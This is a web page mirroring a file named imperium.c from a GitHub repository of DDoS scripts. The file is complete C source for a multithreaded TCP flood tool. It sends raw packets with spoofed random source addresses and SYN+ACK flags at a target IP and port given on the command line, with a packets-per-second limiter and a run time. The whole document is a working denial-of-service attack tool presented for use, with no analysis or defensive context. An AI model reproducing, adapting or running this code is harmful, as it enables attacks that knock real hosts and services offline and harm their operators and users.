Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/TCP/imperium.c
4565 views
1
/*
2
* This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
3
*/
4
#include <unistd.h>
5
#include <time.h>
6
#include <sys/types.h>
7
#include <sys/socket.h>
8
#include <sys/ioctl.h>
9
#include <string.h>
10
#include <stdlib.h>
11
#include <stdio.h>
12
#include <pthread.h>
13
#include <netinet/tcp.h>
14
#include <netinet/ip.h>
15
#include <netinet/in.h>
16
#include <netinet/if_ether.h>
17
#include <netdb.h>
18
#include <net/if.h>
19
#include <arpa/inet.h>
20
#define MAX_PACKET_SIZE 4096
21
#define PHI 0x9e3779b9
22
static unsigned long int Q[4096], c = 362436;
23
static unsigned int floodport;
24
volatile int limiter;
25
volatile unsigned int pps;
26
volatile unsigned int sleeptime = 100;
27
void init_rand(unsigned long int x)
28
{
29
int i;
30
Q[0] = x;
31
Q[1] = x + PHI;
32
Q[2] = x + PHI + PHI;
33
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
34
}
35
unsigned long int rand_cmwc(void)
36
{
37
unsigned long long int t, a = 18782LL;
38
static unsigned long int i = 4095;
39
unsigned long int x, r = 0xfffffffe;
40
i = (i + 1) & 4095;
41
t = a * Q[i] + c;
42
c = (t >> 32);
43
x = t + c;
44
if (x < c) {
45
x++;
46
c++;
47
}
48
return (Q[i] = r - x);
49
}
50
unsigned short csum (unsigned short *buf, int count)
51
{
52
register unsigned long sum = 0;
53
while( count > 1 ) { sum += *buf++; count -= 2; }
54
if(count > 0) { sum += *(unsigned char *)buf; }
55
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
56
return (unsigned short)(~sum);
57
}
58
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
59
struct tcp_pseudo
60
{
61
unsigned long src_addr;
62
unsigned long dst_addr;
63
unsigned char zero;
64
unsigned char proto;
65
unsigned short length;
66
} pseudohead;
67
unsigned short total_len = iph->tot_len;
68
pseudohead.src_addr=iph->saddr;
69
pseudohead.dst_addr=iph->daddr;
70
pseudohead.zero=0;
71
pseudohead.proto=IPPROTO_TCP;
72
pseudohead.length=htons(sizeof(struct tcphdr));
73
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
74
unsigned short *tcp = malloc(totaltcp_len);
75
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
76
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
77
unsigned short output = csum(tcp,totaltcp_len);
78
free(tcp);
79
return output;
80
}
81
void setup_ip_header(struct iphdr *iph)
82
{
83
iph->ihl = 5;
84
iph->version = 4;
85
iph->id = htonl(54321);
86
iph->frag_off = 0;
87
iph->ttl = MAXTTL;
88
iph->check = 0;
89
iph->saddr = inet_addr("192.168.3.100");
90
}
91
92
void setup_tcp_header(struct tcphdr *tcph)
93
{
94
tcph->source = htons(5678);
95
tcph->res2 = 0;
96
tcph->doff = 5;
97
tcph->syn = 1;
98
tcph->ack = 1;
99
tcph->window = rand();
100
tcph->check = 0;
101
tcph->urg_ptr = 0;
102
}
103
void *flood(void *par1)
104
{
105
char *td = (char *)par1;
106
char datagram[MAX_PACKET_SIZE];
107
struct iphdr *iph = (struct iphdr *)datagram;
108
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
109
struct sockaddr_in sin;
110
sin.sin_family = AF_INET;
111
sin.sin_port = htons(floodport);
112
sin.sin_addr.s_addr = inet_addr(td);
113
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
114
if(s < 0){
115
fprintf(stderr, "Could not open raw socket.\n");
116
exit(-1);
117
}
118
memset(datagram, 0, MAX_PACKET_SIZE);
119
setup_ip_header(iph);
120
setup_tcp_header(tcph);
121
tcph->dest = htons(floodport);
122
iph->daddr = sin.sin_addr.s_addr;
123
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
124
int tmp = 1;
125
const int *val = &tmp;
126
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
127
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
128
exit(-1);
129
}
130
init_rand(time(NULL));
131
register unsigned int i;
132
i = 0;
133
134
while(1){
135
int tab1[ 4 ];
136
tab1[ 0 ] = 47; //pierwszy element tabeli
137
tab1[ 1 ] = 8; //drugi element tabeli
138
tab1[ 2 ] = 103; //trzeci element tabeli
139
tab1[ 3 ] = 51; //czwarty element tabeli
140
141
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
142
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
143
iph->protocol = tab1[ rand() % 4 + 0 ];
144
iph->tos = rand() % 100 + 0;
145
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
146
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr)+rand() % 100 + 0;
147
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
148
tcph->seq = rand_cmwc() & 0xFFFF;
149
tcph->source = htons(rand_cmwc() & 0xFFFF);
150
tcph->check = 0;
151
tcph->check = tcpcsum(iph, tcph);
152
pps++;
153
if(i >= limiter)
154
{
155
i = 0;
156
usleep(sleeptime);
157
}
158
i++;
159
}
160
}
161
int main(int argc, char *argv[ ])
162
{
163
if(argc < 6){
164
fprintf(stderr, "Invalid parameters!\n");
165
fprintf(stdout, "Usage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
166
exit(-1);
167
}
168
fprintf(stdout, "Setting up Sockets...\n");
169
int num_threads = atoi(argv[3]);
170
floodport = atoi(argv[2]);
171
int maxpps = atoi(argv[4]);
172
limiter = 0;
173
pps = 0;
174
pthread_t thread[num_threads];
175
int multiplier = 20;
176
int i;
177
for(i = 0;i<num_threads;i++){
178
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
179
}
180
fprintf(stdout, "Starting Flood...\n");
181
for(i = 0;i<(atoi(argv[5])*multiplier);i++)
182
{
183
usleep((1000/multiplier)*1000);
184
if((pps*multiplier) > maxpps)
185
{
186
if(1 > limiter)
187
{
188
sleeptime+=100;
189
} else {
190
limiter--;
191
}
192
} else {
193
limiter++;
194
if(sleeptime > 25)
195
{
196
sleeptime-=25;
197
} else {
198
sleeptime = 0;
199
}
200
}
201
pps = 0;
202
}
203
204
return 0;
205
}
206
207